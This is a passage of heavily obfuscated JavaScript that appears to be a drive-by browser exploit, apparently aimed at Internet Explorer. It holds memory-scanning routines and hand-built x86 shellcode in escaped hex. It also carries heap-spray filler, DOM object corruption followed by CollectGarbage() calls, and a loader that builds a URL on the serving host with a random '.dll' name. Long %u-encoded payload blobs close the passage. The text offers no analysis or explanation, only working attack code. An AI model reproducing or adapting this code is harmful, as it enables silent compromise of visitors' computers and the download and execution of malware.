  605.           var EinZ0 = null;
  606.           var JUryr = null;
  607.           if (KfzedQ6HdvNia) {
  608.               JUryr = AP1Uz7jluL5('%b8%4d');
  609.               EinZ0 = AP1Uz7jluL5('%33%c9%8d%54%24%04%64%ff%15%c0');
  610.           } else {
  611.               if (T4q == 1) {
  612.                   JUryr = AP1Uz7jluL5('%b8%89')
  613.               } else if (T4q == 2) {
  614.                   JUryr = AP1Uz7jluL5('%b8%d2')
  615.               } else if (T4q == 3) {
  616.                   JUryr = AP1Uz7jluL5('%b8%d7')
  617.               }
  618.               EinZ0 = AP1Uz7jluL5('%ba%00%03%fe%7f%ff%12%c2%14');
  619.           }
  620.           var PEGl = null;
  621.           var X7w6 = null;
  622.           var VfD = null;
  623.           var W2c = null;
  624.           var Mmuhe = null;
  625.           var A3PwU = G1cL0.FI5op6aJ;
  626.           T0y = G1cL0.UAZ183qaMhVjxaDk;
  627.           while (A3PwU < T0y) {
  628.               var Mm9zyq = I49vaw94Gq013(A3PwU);
  629.               if (Mm9zyq) {
  630.                   var Pw4h7e = null;
  631.                   var K5u = WeH4Xlw3(Mm9zyq);
  632.                   if (!El2V14q6Xub66U && (Mmuhe || (Pw4h7e = OLrKvJ519(K5u, JUryr, false)) != -1)) {
  633.                       if (!Mmuhe) {
  634.                           Mmuhe = A3PwU + Pw4h7e
  635.                       } else if (OLrKvJ519(K5u, EinZ0, true) != -1) {
  636.                           El2V14q6Xub66U = Mmuhe
  637.                       } else {
  638.                           Mmuhe = null
  639.                       }
  640.                   }
  641.                   if (!V2ER1HgJ0ucnh9LP && (Pw4h7e = K5u.indexOf(HYc2O)) != -1) {
  642.                       V2ER1HgJ0ucnh9LP = A3PwU + Pw4h7e
  643.                   }
  644.                   if (!NegMwvrF && (Pw4h7e = K5u.indexOf(GLm)) != -1) {
  645.                       NegMwvrF = A3PwU + Pw4h7e
  646.                   }
  647.                   Uu7 = (PEGl && VfD);
  648.                   AjJJiu = (X7w6 && W2c);
  649.                   if (!Uu7) {
  650.                       if (!PEGl && (Pw4h7e = K5u.indexOf(TZxtP)) != -1) {
  651.                           PEGl = A3PwU + Pw4h7e
  652.                       }
  653.                       if (!VfD && (Pw4h7e = K5u.indexOf(Dlrw0)) != -1) {
  654.                           VfD = A3PwU + Pw4h7e
  655.                       }
  656.                   }
  657.                   if (!AjJJiu) {
  658.                       if (!X7w6 && (Pw4h7e = K5u.indexOf(F5O00n)) != -1) {
  659.                           X7w6 = A3PwU + Pw4h7e
  660.                       }
  661.                       if (!W2c && (Pw4h7e = K5u.indexOf(UU4r1)) != -1) {
  662.                           W2c = A3PwU + Pw4h7e
  663.                       }
  664.                   }
  665.                   if (V2ER1HgJ0ucnh9LP && NegMwvrF && El2V14q6Xub66U && (Uu7 || AjJJiu)) {
  666.                       break
  667.                   }
  668.                   A3PwU += K5u.length
  669.               }
  670.               A3PwU += 2
  671.           }
  672.           if (Uu7 || AjJJiu) {
  673.               if (Uu7) {
  674.                   AvUGy4Jovj = PEGl;
  675.                   Jvkwu13ly1 = VfD;
  676.               } else {
  677.                   AvUGy4Jovj = X7w6;
  678.                   Jvkwu13ly1 = W2c;
  679.               }
  680.           }
  681.           return (V2ER1HgJ0ucnh9LP && NegMwvrF && El2V14q6Xub66U && AvUGy4Jovj && Jvkwu13ly1)
  682.       }
  683.  
  684.       function Tvk1o4tvwctQduQ() {
  685.           Kieeuz4o = Ewmrn97LKlE0so8[T1afqxgKWn2ys0i1]('OY9eP8SuqI');
  686.           for (var D0n = 0; D0n < 0x400; D0n++) {
  687.               PeaB2kUh[D0n] = KDU865ifr4S[D0n]._anchorRect;
  688.               if (D0n == 0x300) {
  689.                   Kieeuz4o[T1b76Fhwicxxk1gy] = '1 2 3 4'
  690.               }
  691.           }
  692.           var LP8 = Kieeuz4o[T1b76Fhwicxxk1gy][ZlDwd7p7yf2di].length;
  693.           try {
  694.               Kieeuz4o[T1b76Fhwicxxk1gy][ZlDwd7p7yf2di].length = 0 - 1
  695.           } catch (HpG) {
  696.               return null
  697.           }
  698.           var OOfI = Kieeuz4o[T1b76Fhwicxxk1gy][ZlDwd7p7yf2di].item(6);
  699.           var XmxGN = Kieeuz4o[T1b76Fhwicxxk1gy][ZlDwd7p7yf2di].item(7);
  700.           if (OOfI > 0 && XmxGN > 0 && Kieeuz4o[T1b76Fhwicxxk1gy][ZlDwd7p7yf2di].item(8) == 1) {
  701.               D2mlbzC5 = OOfI;
  702.               FsrY3ye0ghx = XmxGN;
  703.               YSwqcqF2p2F9 = LP8;
  704.               return true
  705.           }
  706.           Kieeuz4o[T1b76Fhwicxxk1gy][ZlDwd7p7yf2di].length = length;
  707.           return false
  708.       }
  709.  
  710.       function ZT6m4lZi5Ish6jtb() {
  711.           if (Kieeuz4o && FsrY3ye0ghx && YSwqcqF2p2F9) {
  712.               Kieeuz4o[T1b76Fhwicxxk1gy][ZlDwd7p7yf2di].item(7) = FsrY3ye0ghx;
  713.               Kieeuz4o[T1b76Fhwicxxk1gy][ZlDwd7p7yf2di].length = YSwqcqF2p2F9
  714.           }
  715.       }
  716.  
  717.       function Mt2U3d1gb2FwK() {
  718.           var Wpoam = V9rsl4L9kg(D2mlbzC5),
  719.               t7 = '%8b%01%ff%50%04';
  720.           if (!Wpoam) {
  721.               return false
  722.           }
  723.           var L2K = AP1Uz7jluL5(t7);
  724.           var PK5wnq = Wpoam.FI5op6aJ;
  725.           while (PK5wnq < Wpoam.UAZ183qaMhVjxaDk) {
  726.               var AcR04 = I49vaw94Gq013(PK5wnq);
  727.               if (AcR04) {
  728.                   var O32xRl = null;
  729.                   var Gkt7M6 = WeH4Xlw3(AcR04);
  730.                   if ((O32xRl = Gkt7M6.indexOf(L2K)) != -1) {
  731.                       RJ1N6903yv = PK5wnq + O32xRl;
  732.                       return true
  733.                   }
  734.                   PK5wnq += Gkt7M6.length
  735.               }
  736.               PK5wnq += 2
  737.           }
  738.           return false
  739.       }
  740.  
  741.       function Sa6hyqKy5ah() {
  742.           var SGhjPU;
  743.           SGhjPU = 'AB';
  744.           while (SGhjPU.length < 0x40000) {
  745.               SGhjPU += SGhjPU
  746.           }
  747.           return SGhjPU.substring(0, 0x3FFED) + 'XXX'
  748.       }
  749.  
  750.       function Walx02b3ZZD() {
  751.           var KT8 = GmJTzuE37u4Y == 6 ? '%8d%76%04' : '%90%90%90';
  752.           var QP2r = GmJTzuE37u4Y == 6 ? '%f8' : '%fc';
  753.           var QV86 = GmJTzuE37u4Y == 6 ? '%f0' : '%f4';
  754.           var LZG = AP1Uz7jluL5('%EB%1f%60%8b%44%24%20%ff%d0%61%8B%75%08' + KT8 + '%C7%06' + DjnkYHmeZkaPOCs3(FsrY3ye0ghx) + '%8d%65' + QP2r + '%8b%45' + QV86 + '%83%e8%08%ff%e0%e8%dc%ff%ff%ff');
  755.           var Sidw = AP1Uz7jluL5('%8D%78%18%89%FE%66%AD%84%E4%74%0C%FE%CC%FE%C8%C0%E0%04%08%E0%AA%EB%EE%90');
  756.           return (LZG + Sidw);
  757.       }
  758.  
  759.       function V0S28a97Z(KqL) {
  760.           var Wdi5h = '';
  761.           for (var Axl = 0; Axl < KqL.length; Axl++) {
  762.               var DzUsAj = KqL[Fyp6g9dW3i05](Axl);
  763.               var QRM = ((DzUsAj & 0xF0) >> 4) + 1;
  764.               var T373 = ((DzUsAj & 0xF) + 1) << 8;
  765.               Wdi5h += '%u';
  766.               Wdi5h += If2zqk7iLg((QRM | T373), 4);
  767.           }
  768.           return Wdi5h;
  769.       }
  770.  
  771.       function GVoCVkdxi(Ej2s) {
  772.           var B3H = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
  773.           var Cs0Z, B2tHy, W9q6hm, X7litC, I9g, HVm, U9vzf, FTvS14, UP76eO = 0,
  774.               HaJpu = '';
  775.           do {
  776.               X7litC = B3H.indexOf(Ej2s.charAt(UP76eO++));
  777.               I9g = B3H.indexOf(Ej2s.charAt(UP76eO++));
  778.               HVm = B3H.indexOf(Ej2s.charAt(UP76eO++));
  779.               U9vzf = B3H.indexOf(Ej2s.charAt(UP76eO++));
  780.               FTvS14 = X7litC << 18 | I9g << 12 | HVm << 6 | U9vzf;
  781.               Cs0Z = FTvS14 >> 16 & 0xff;
  782.               B2tHy = FTvS14 >> 8 & 0xff;
  783.               W9q6hm = FTvS14 & 0xff;
  784.               if (HVm == 64) HaJpu += Ibw95c3ku6[W63qI9rMjPsxRDL](Cs0Z);
  785.               else if (U9vzf == 64) HaJpu += Ibw95c3ku6[W63qI9rMjPsxRDL](Cs0Z, B2tHy);
  786.               else HaJpu += Ibw95c3ku6[W63qI9rMjPsxRDL](Cs0Z, B2tHy, W9q6hm);
  787.           } while (UP76eO < Ej2s.length);
  788.           return HaJpu;
  789.       }
  790.  
  791.       function Bf9nVQbojaEoO(I5Z) {
  792.           Co25UX2t3GtQLt[T1b76Fhwicxxk1gy][ZlDwd7p7yf2di].item(0x44) = ZeMjENCmd6hkz3K;
  793.           var ZV8 = Sa6hyqKy5ah();
  794.           var H6h = Walx02b3ZZD();
  795.           for (var PkS1 = 0; PkS1 < 7; PkS1++) {
  796.               EtU7otC6G9FSoRUZ[Xl9CaSo0].marginLeft = ZV8;
  797.               var J6Hg = ZeMjENCmd6hkz3K = Co25UX2t3GtQLt[T1b76Fhwicxxk1gy][ZlDwd7p7yf2di].item(0x44);
  798.               var Iv7bi = J6Hg + ZV8.length * 2;
  799.               var F7ngr = AP1Uz7jluL5(L0ZwspPk6YLU9oxi(Iv7bi + 4) + L0ZwspPk6YLU9oxi(Iv7bi + 0x0c) + L0ZwspPk6YLU9oxi(RJ1N6903yv) + L0ZwspPk6YLU9oxi(NegMwvrF) + L0ZwspPk6YLU9oxi(V2ER1HgJ0ucnh9LP) + L0ZwspPk6YLU9oxi(Jvkwu13ly1) + L0ZwspPk6YLU9oxi(Iv7bi + 0x41) + L0ZwspPk6YLU9oxi(AvUGy4Jovj) + L0ZwspPk6YLU9oxi(Jvkwu13ly1) + L0ZwspPk6YLU9oxi(Iv7bi + 0x4e) + L0ZwspPk6YLU9oxi(AvUGy4Jovj) + L0ZwspPk6YLU9oxi(El2V14q6Xub66U) + L0ZwspPk6YLU9oxi(Iv7bi + 0x54) + L0ZwspPk6YLU9oxi(0xffffffff) + L0ZwspPk6YLU9oxi(Iv7bi + 0x48) + L0ZwspPk6YLU9oxi(Iv7bi + 0x4c) + L0ZwspPk6YLU9oxi(0xffffff40) + L0ZwspPk6YLU9oxi(Iv7bi + 0x4F) + L0ZwspPk6YLU9oxi(Iv7bi + 0x54) + L0ZwspPk6YLU9oxi(0xffff0400) + L0ZwspPk6YLU9oxi(0x41414141) + Rdtyyrc4(H6h) + I5Z);
  800.               EtU7otC6G9FSoRUZ[Xl9CaSo0].marginLeft += F7ngr;
  801.               var O7wn8 = Co25UX2t3GtQLt[T1b76Fhwicxxk1gy][ZlDwd7p7yf2di].item(0x44);
  802.               if (J6Hg == O7wn8) {
  803.                   return Iv7bi
  804.               }
  805.           }
  806.           return null
  807.       }
  808.  
  809.       function LS7qz6t6IhAgN(D93o1) {
  810.           if (!GPLa6YPe7ix9lJj()) {
  811.               return
  812.           }
  813.           if (!MpjCkJerL0Y4ucz()) {
  814.               return
  815.           }
  816.           if (!Tvk1o4tvwctQduQ()) {
  817.               return
  818.           }
  819.           if (!Mt2U3d1gb2FwK()) {
  820.               return
  821.           }
  822.           var VL20 = Bf9nVQbojaEoO(D93o1);
  823.           if (!VL20) {
  824.               return
  825.           }
  826.           Kieeuz4o[T1b76Fhwicxxk1gy][ZlDwd7p7yf2di].item(7) = VL20;
  827.           for (var Wlv = 0; Wlv < 0x400; Wlv++) {
  828.               MOqp7tD2T3n[Wlv] = Ewmrn97LKlE0so8[OAqMbEfXPluegi]('div');
  829.               MOqp7tD2T3n[Wlv].setAttribute('class', PeaB2kUh[Wlv]);
  830.               MOqp7tD2T3n[Wlv].classname = PeaB2kUh[Wlv];
  831.           }
  832.           for (var Wlv = 0; Wlv < 0x400; Wlv++) {
  833.               delete MOqp7tD2T3n[Wlv];
  834.               CollectGarbage();
  835.           }
  836.           return
  837.       }
  838.  
  839.       function Dh6QOpzOl59b7rM(H1ctq, StchE, I7vd6, WOpndk) {
  840.           var EFo4FL = 'http://' + window.location.host + '/' + GVoCVkdxi(window[KjvJz79wOcknIk]());
  841.           var P2X20 = 'adR2b4nh';
  842.           var K5q = '';
  843.           var Zmd18 = Math.floor(Math.random() * (6 - 3) + 3);
  844.           var XO26oJ6M = '%2E%64%6C%6C',
  845.               KTxmdybvZk1pF = '%00';
  846.           if (EFo4FL.length > 200) return;
  847.           while (EFo4FL.length < 200) {
  848.               EFo4FL += AP1Uz7jluL5(KTxmdybvZk1pF);
  849.           }
  850.           if (P2X20.length > 20) return;
  851.           while (P2X20.length < 20) {
  852.               P2X20 += AP1Uz7jluL5(KTxmdybvZk1pF);
  853.           }
  854.           while (K5q.length < Zmd18) {
  855.               K5q += Ibw95c3ku6[W63qI9rMjPsxRDL](Math.floor(Math.random() * (0x7A - 0x61) + 0x61));
  856.           }
  857.           EFo4FL += AP1Uz7jluL5(KTxmdybvZk1pF);
  858.           P2X20 += AP1Uz7jluL5(KTxmdybvZk1pF);
  859.           K5q += AP1Uz7jluL5(XO26oJ6M);
  860.           while (K5q.length < 11) {
  861.               K5q += AP1Uz7jluL5(KTxmdybvZk1pF);
  862.           }
  863.           LS7qz6t6IhAgN(H1ctq + V0S28a97Z(EFo4FL) + StchE + V0S28a97Z(P2X20) + I7vd6 + V0S28a97Z(K5q) + WOpndk + '%u0000');
  864.           NybDPXI4I4();
  865.           ZT6m4lZi5Ish6jtb();
  866.           return
  867.       }
  868.       L3lP8xjN2zbaU = '%u0C0F%u0101%u0606%u0A09%u060F%u0409%u0D0F%u0901%u090F%u0E01%u0101%u0101%u0101%u0C05%u0605%u0306%u0F05%u0605%u0D05%u0404%u0304%u0F03%u0507%u0D07%u0D07%u0101%u0906%u0106%u090F%u0107%u0B01%u0101%u0101%u0409%u050D%u0501%u0609%u010D%u1001%u0509%u0D05%u0B01%u0101%u0101%u0A09%u020D%u0106%u090F%u0E01%u0101%u0101%u0101%u0706%u0A07%u0308%u0508%u0608%u0207%u0D07%u0205%u0D07%u0D07%u1007%u0407%u0101%u0906%u0106%u0206%u090F%u030D%u0B01%u0101%u0101%u0409%u050D%u0901%u0609%u010D%u1001%u0509%u0503%u0B01%u0101%u0101%u0A09%u040D%u0B07%u0501%u0907%u0101%u0102%u0101%u0101%u0907%u0101%u0101%u0201%u0101%u0B07%u0101%u1010%u040E%u0B06%u0609%u010D%u1001%u0509%u0A01%u0B01%u0101%u0101%u0A09%u050D%u0209%u050D%u0101%u0101%u0201%u0101%u0209%u0D0F%u010F%u0101%u0101%u0101%u0A09%u0607%u0D10%u0A09%u080F%u0A0C%u010F%u0101%u0101%u0101%u0D10%u0104%u010D%u0410%u0B0B%u0A09%u070F%u0A09%u0702%u0A09%u0F06%u0903%u090F%u0901%u0101%u0101%u0101%u0806%u0A07%u0F07%u0605%u0908%u0607%u0407%u0101%u0906%u0106%u1010%u0704%u090F%u0307%u0B01%u0101%u0101%u0409%u050D%u0901%u0A09%u0505%u0503%u0902%u090F%u0E01%u0101%u0101%u0101%u0D05%u1007%u0207%u0507%u0D05%u0A07%u0307%u0308%u0207%u0308%u0A08%u0205%u0101%u0906%u0106%u1010%u0704%u090F%u0105%u0B01%u0101%u0101%u0409%u050D%u0901%u0A09%u0505%u0503%u0D02%u090F%u1001%u0101%u0101%u0101%u0805%u0607%u0508%u0106%u0308%u1007%u0407%u0205%u0507%u0507%u0308%u0607%u0408%u0408%u0101%u0906%u0106%u1010%u0704%u090F%u0D02%u0B01%u0101%u0101%u0409%u050D%u0901%u0A09%u0505%u0503%u0103%u090F%u0E01%u0101%u0101%u0101%u0805%u0607%u0508%u0506%u0607%u0E07%u0108%u0106%u0207%u0508%u0907%u0205%u0101%u0906%u0106%u1010%u0704%u090F%u0B10%u0A01%u0101%u0101%u0409%u050D%u0901%u0A09%u0505%u0503%u0503%u090F%u0D01%u0101%u0101%u0101%u0706%u0A07%u0308%u0508%u0608%u0207%u0D07%u0705%u0308%u0607%u0607%u0101%u0906%u0106%u1010%u0704%u090F%u0A0E%u0A01%u0101%u0101%u0409%u050D%u0901%u0A09%u0505%u0503%u0D03%u090F%u0D01%u0101%u0101%u0101%u0405%u0308%u0607%u0207%u0508%u0607%u0705%u0A07%u0D07%u0607%u0205%u0101%u0906%u0106%u1010%u0704%u090F%u090C%u0A01%u0101%u0101%u0409%u050D%u0901%u0A09%u0505%u0503%u0104%u090F%u0B01%u0101%u0101%u0101%u0806%u0308%u0A07%u0508%u0607%u0705%u0A07%u0D07%u0607%u0101%u0906%u0106%u1010%u0704%u090F%u0A0A%u0A01%u0101%u0101%u0409%u050D%u0901%u0A09%u0505%u0503%u0504%u090F%u0D01%u0101%u0101%u0101%u0405%u0D07%u1007%u0408%u0607%u0905%u0207%u0F07%u0507%u0D07%u0607%u0101%u0906%u0106%u1010%u0704%u090F%u0908%u0A01%u0101%u0101%u0409%u050D%u0901%u0A09%u0505%u0503%u0904%u090F%u0E01%u0101%u0101%u0101%u0405%u0308%u0607%u0207%u0508%u0607%u0506%u0907%u0308%u0607%u0207%u0507%u0101%u0906%u0106%u1010%u0704%u090F%u0706%u0A01%u0101%u0101%u0409%u050D%u0901%u0A09%u0505%u0503%u0D04%u090F%u0502%u0101%u0101%u0101%u0806%u0207%u0A07%u0508%u0705%u1007%u0308%u0406%u0A07%u0F07%u0807%u0D07%u0607%u1005%u0307%u0B07%u0607%u0407%u0508%u0101%u0906%u0106%u1010%u0704%u090F%u0E03%u0A01%u0101%u0101%u0409%u050D%u0901%u0A09%u0505%u0503%u0105%u090F%u0B01%u0101%u0101%u0101%u0F07%u0508%u0507%u0D07%u0D07%u0F03%u0507%u0D07%u0D07%u0101%u0906%u0106%u090F%u0D0F%u0901%u0101%u0101%u0409%u050D%u0501%u0A09%u0705%u0502%u0609%u010D%u1001%u0509%u1007%u0901%u0101%u0101%u090F%u0A01%u0101%u0101%u0101%u0E07%u0307%u0408%u0508%u1007%u0808%u0407%u0408%u0101%u0906%u0106%u1010%u0708%u0502%u090F%u070E%u0901%u0101%u0101%u0409%u050D%u0901%u0A09%u0705%u0505%u0609%u010D%u1001%u0509%u0A05%u0901%u0101%u0101%u090F%u0901%u0101%u0101%u0101%u0808%u0407%u0408%u0F07%u0407%u0108%u0A08%u0101%u0906%u0106%u1010%u0708%u0502%u090F%u020C%u0901%u0101%u0101%u0409%u050D%u0901%u0A09%u0705%u0905%u0609%u010D%u1001%u0509%u0503%u0901%u0101%u0101%u090F%u0D01%u0101%u0101%u0101%u0808%u0A07%u0F07%u0907%u0508%u0508%u0108%u0F03%u0507%u0D07%u0D07%u0101%u0906%u0106%u090F%u0C08%u0901%u0101%u0101%u0409%u050D%u0501%u0A09%u0705%u0102%u0609%u010D%u1001%u0509%u0F10%u0801%u0101%u0101%u090F%u0D01%u0101%u0101%u0101%u0806%u0A07%u0F07%u0905%u0508%u0508%u0108%u1005%u0108%u0607%u0F07%u0101%u0906%u0106%u1010%u0708%u0102%u090F%u0307%u0901%u0101%u0101%u0409%u050D%u0901%u0A09%u0705%u0D05%u0609%u010D%u1001%u0509%u060E%u0801%u0101%u0101%u090F%u1001%u0101%u0101%u0101%u0806%u0A07%u0F07%u0905%u0508%u0508%u0108%u0405%u1007%u0F07%u0F07%u0607%u0407%u0508%u0101%u0906%u0106%u1010%u0708%u0102%u090F%u0704%u0901%u0101%u0101%u0409%u050D%u0901%u0A09%u0705%u0106%u0609%u010D%u1001%u0509%u0A0B%u0801%u0101%u0101%u090F%u0402%u0101%u0101%u0101%u0806%u0A07%u0F07%u0905%u0508%u0508%u0108%u1005%u0108%u0607%u0F07%u0306%u0607%u0208%u0608%u0607%u0408%u0508%u0101%u0906%u0106%u1010%u0708%u0102%u090F%u0701%u0901%u0101%u0101%u0409%u050D%u0901%u0A09%u0705%u0506%u0609%u010D%u1001%u0509%u0A08%u0801%u0101%u0101%u090F%u0402%u0101%u0101%u0101%u0806%u0A07%u0F07%u0905%u0508%u0508%u0108%u0406%u0607%u0F07%u0507%u0306%u0607%u0208%u0608%u0607%u0408%u0508%u0101%u0906%u0106%u1010%u0708%u0102%u090F%u070E%u0801%u0101%u0101%u0409%u050D%u0901%u0A09%u0705%u0906%u0609%u010D%u1001%u0509%u0A05%u0801%u0101%u0101%u090F%u0802%u0101%u0101%u0101%u0806%u0A07%u0F07%u0905%u0508%u0508%u0108%u0306%u0607%u0407%u0607%u0A07%u0708%u0607%u0306%u0607%u0408%u0108%u1007%u0F07%u0408%u0607%u0101%u0906%u0106%u1010%u0708%u0102%u090F%u030B%u0801%u0101%u0101%u0409%u050D%u0901%u0A09%u0705%u0D06%u0609%u010D%u1001%u0509%u0602%u0801%u0101%u0101%u090F%u0B02%u0101%u0101%u0101%u0806%u0A07%u0F07%u0905%u0508%u0508%u0108%u0206%u0608%u0607%u0308%u0A08%u0505%u0207%u0508%u0207%u0205%u0708%u0207%u0A07%u0D07%u0207%u0307%u0D07%u0607%u0101%u0906%u0106%u1010%u0708%u0102%u090F%u0C07%u0801%u0101%u0101%u0409%u050D%u0901%u0A09%u0705%u0107%u0609%u010D%u1001%u0509%u0F0E%u0701%u0101%u0101%u090F%u0102%u0101%u0101%u0101%u0806%u0A07%u0F07%u0905%u0508%u0508%u0108%u0306%u0607%u0207%u0507%u0505%u0207%u0508%u0207%u0101%u0906%u0106%u1010%u0708%u0102%u090F%u0F04%u0801%u0101%u0101%u0409%u050D%u0901%u0A09%u0705%u0507%u0609%u010D%u1001%u0509%u020C%u0701%u0101%u0101%u090F%u0102%u0101%u0101%u0101%u0806%u0A07%u0F07%u0905%u0508%u0508%u0108%u0405%u0308%u0207%u0407%u0C07%u0606%u0308%u0D07%u0101%u0906%u0106%u1010%u0708%u0102%u090F%u0202%u0801%u0101%u0101%u0409%u050D%u0901%u0A09%u0705%u0907%u0609%u010D%u1001%u0509%u0509%u0701%u0101%u0101%u090F%u0502%u0101%u0101%u0101%u0806%u0A07%u0F07%u0905%u0508%u0508%u0108%u0206%u0608%u0607%u0308%u0A08%u0905%u0607%u0207%u0507%u0607%u0308%u0408%u0101%u0906%u0106%u1010%u0708%u0102%u090F%u010F%u0701%u0101%u0101%u0409%u050D%u0901%u0A09%u0705%u0D07%u0609%u010D%u1001%u0509%u0406%u0701%u0101%u0101%u090F%u0703%u0101%u0101%u0101%u0806%u0A07%u0F07%u0905%u0508%u0508%u0108%u0805%u0607%u0508%u0A05%u0605%u0106%u0308%u1007%u0908%u0A08%u0405%u1007%u0F07%u0707%u0A07%u0807%u0705%u1007%u0308%u0405%u0608%u0308%u0308%u0607%u0F07%u0508%u0606%u0408%u0607%u0308%u0101%u0906%u0106%u1010%u0708%u0102%u090F%u0E0A%u0701%u0101%u0101%u0409%u050D%u0901%u0A09%u0705%u0108%u0609%u010D%u1001%u0509%u0102%u0701%u0101%u0101%u090F%u0702%u0101%u0101%u0101%u0806%u0A07%u0F07%u0905%u0508%u0508%u0108%u0805%u0607%u0508%u0106%u0308%u1007%u0908%u0A08%u0705%u1007%u0308%u0606%u0308%u0D07%u0101%u0906%u0106%u1010%u0708%u0102%u090F%u0B07%u0701%u0101%u0101%u0409%u050D%u0901%u0A09%u0705%u0508%u0609%u010D%u1001%u0509%u0E0E%u0601%u0101%u0101%u090F%u0202%u0101%u0101%u0101%u0806%u0A07%u0F07%u0905%u0508%u0508%u0108%u0406%u0607%u0508%u1005%u0108%u0508%u0A07%u1007%u0F07%u0101%u0906%u0106%u1010%u0708%u0102%u090F%u0D04%u0701%u0101%u0101%u0409%u050D%u0901%u0A09%u0705%u0908%u0609%u010D%u1001%u0509%u100B%u0601%u0101%u0101%u090F%u0D04%u0101%u0101%u0101%u0D04%u0101%u0101%u0101%u0101%u0101%u0101%u0101%u1010%u1010%u1010%u1010%u0101%u0101%u0101%u0101%u0101%u0101%u0101%u0101%u1010%u1010%u1010%u1010%u0101%u0101%u0101%u0101%u0101%u0101%u0101%u0101%u1010%u1010%u1010%u1010%u0101%u0101%u0101%u0101%u1010%u1010%u1010%u1010%u0101%u0101%u0101%u0101%u1010%u1010%u1010%u1010%u0101%u0101%u0101%u0101%u1010%u1010%u1010%u1010%u0906%u0A09%u0709%u090A%u0101%u0101%u0101%u090F%u0A0D%u0101%u0101%u0101';
  869.       H6TKi1mnySp1X3 = '%u0906%u0A09%u0705%u0D08%u090F%u0602%u0101%u0101%u0101';
  870.       ZIr5VU69Nd4o4 = '%u0906%u0A09%u0709%u0109%u0101%u0101%u0101%u090F%u0E01%u0101%u0101%u0101%u0308%u0607%u0807%u0408%u0708%u0308%u0404%u0304%u0103%u1003%u0408%u0103%u0101%u0906%u0A09%u0709%u010A%u0101%u0101%u0101%u090F%u0C01%u0101%u0101%u0101';
  871.       YLyIzVBMySSP = '%u0906%u0A09%u0709%u0909%u0101%u0101%u0101%u0209%u0D0F%u0501%u0201%u0101%u0101%u0A09%u070B%u0509%u0101%u0101%u0101%u0209%u0D0F%u0501%u0201%u0101%u0101%u0A09%u070B%u0D09%u0101%u0101%u0101%u0209%u0D0F%u0901%u0301%u0101%u0101%u0A09%u070B%u050D%u0101%u0101%u0101%u0209%u0D0F%u0901%u0301%u0101%u0101%u0A09%u070B%u090D%u0101%u0101%u0101%u0209%u0D0F%u0901%u0301%u0101%u0101%u0A09%u070B%u0D0D%u0101%u0101%u0101%u0409%u0D0F%u0102%u0A09%u070B%u010E%u0101%u0101%u0101%u0409%u0D0F%u0102%u0A09%u070B%u050E%u0101%u0101%u0101%u0409%u0D0F%u0D01%u0A09%u070B%u090E%u0101%u0101%u0101%u0409%u0D0F%u0902%u0A09%u070B%u0D0E%u0101%u0101%u0101%u0907%u010D%u0401%u0101%u0101%u1010%u0708%u0D08%u1010%u070C%u050D%u0101%u0101%u0101%u1010%u0706%u0505%u0A09%u0709%u010C%u0101%u0101%u0101%u1010%u070C%u090A%u0101%u0101%u0101%u0B07%u0101%u1010%u070C%u010C%u0101%u0101%u0101%u1010%u070C%u050D%u0101%u0101%u0101%u1010%u0706%u0907%u0C09%u0F0C%u090A%u0101%u0101%u0101%u1010%u0808%u0502%u1010%u0808%u0102%u1010%u070C%u090D%u0101%u0101%u0101%u1010%u0706%u0905%u0C09%u0F0A%u090D%u0101%u0101%u0101%u0C09%u0805%u0502%u0C07%u010D%u0301%u0201%u040D%u0707%u080D%u0401%u0101%u0101%u1010%u0808%u0104%u1010%u0808%u0D03%u1010%u070C%u0D0D%u0101%u0101%u0101%u1010%u0706%u0905%u0C09%u0F0A%u0D0D%u0101%u0101%u0101%u0C09%u0805%u0104%u0C07%u010D%u0301%u0201%u040D%u0707%u080D%u0401%u0101%u0101%u0B07%u0101%u0B07%u0101%u0B07%u0101%u0B07%u0101%u0B07%u0101%u1010%u0706%u0D05%u0609%u010D%u1001%u0509%u0806%u0401%u0101%u0101%u0A09%u0709%u0D0C%u0101%u0101%u0101%u1010%u070C%u050E%u0101%u0101%u0101%u1010%u0706%u0108%u0609%u010D%u1001%u0509%u0105%u0401%u0101%u0101%u0C09%u0F0C%u050E%u0101%u0101%u0101%u0C09%u0805%u0501%u0609%u010D%u0508%u0E07%u0C09%u0801%u0609%u010D%u0508%u0402%u0C09%u0F0C%u0D0E%u0101%u0101%u0101%u080D%u0801%u0201%u0101%u0101%u0101%u080D%u0805%u0501%u0401%u0101%u0101%u0101%u0C09%u0F0C%u050E%u0101%u0101%u0101%u0C09%u0805%u0501%u0C09%u0F0C%u0D0E%u0101%u0101%u0101%u080D%u0801%u0301%u0101%u0101%u0101%u0A09%u0805%u0501%u1010%u070C%u090E%u0101%u0101%u0101%u1010%u070C%u0D0E%u0101%u0101%u0101%u0B07%u0101%u1010%u070C%u0D0C%u0101%u0101%u0101%u1010%u0706%u0508%u0609%u010D%u1001%u0509%u040F%u0301%u0101%u0101%u0B07%u0D01%u1010%u070C%u090E%u0101%u0101%u0101%u0B07%u0703%u1010%u070C%u0D0C%u0101%u0101%u0101%u1010%u0706%u0908%u0609%u010D%u1001%u0509%u090D%u0301%u0101%u0101%u0C0F%u0205%u0C09%u0F0C%u050E%u0101%u0101%u0101%u0C09%u0805%u0901%u0609%u010D%u0508%u0504%u0C09%u0F0C%u050E%u0101%u0101%u0101%u0C09%u0805%u0901%u0C09%u1006%u0D01%u0C09%u0F0C%u090E%u0101%u0101%u0101%u080D%u0801%u0401%u0101%u0101%u0101%u0A09%u0805%u0501%u0A09%u1006%u0901%u0B07%u0D01%u0806%u0B07%u0703%u1010%u070C%u0D0C%u0101%u0101%u0101%u1010%u0706%u0908%u0609%u010D%u1001%u0509%u0609%u0301%u0101%u0101%u0C09%u0F0C%u090A%u0101%u0101%u0101%u0B07%u0101%u1010%u0808%u0902%u1010%u070C%u090D%u0101%u0101%u0101%u1010%u070C%u0D0C%u0101%u0101%u0101%u1010%u0706%u0106%u0609%u010D%u1001%u0509%u0407%u0301%u0101%u0101%u0A09%u020D%u090F%u0901%u0101%u0101%u0101%u0805%u0101%u0605%u0101%u0506%u0101%u0101%u0101%u0906%u0B07%u0101%u0B07%u0101%u0B07%u0101%u0B07%u0101%u1010%u070C%u0D0D%u0101%u0101%u0101%u0106%u0206%u1010%u0706%u0506%u0609%u010D%u1001%u0509%u0904%u0301%u0101%u0101%u0A09%u0709%u010D%u0101%u0101%u0101%u0B07%u0101%u0B07%u0101%u0B07%u0101%u0B07%u0101%u0B07%u0101%u0B07%u0101%u0106%u1010%u0706%u0906%u0609%u010D%u1001%u0509%u0B02%u030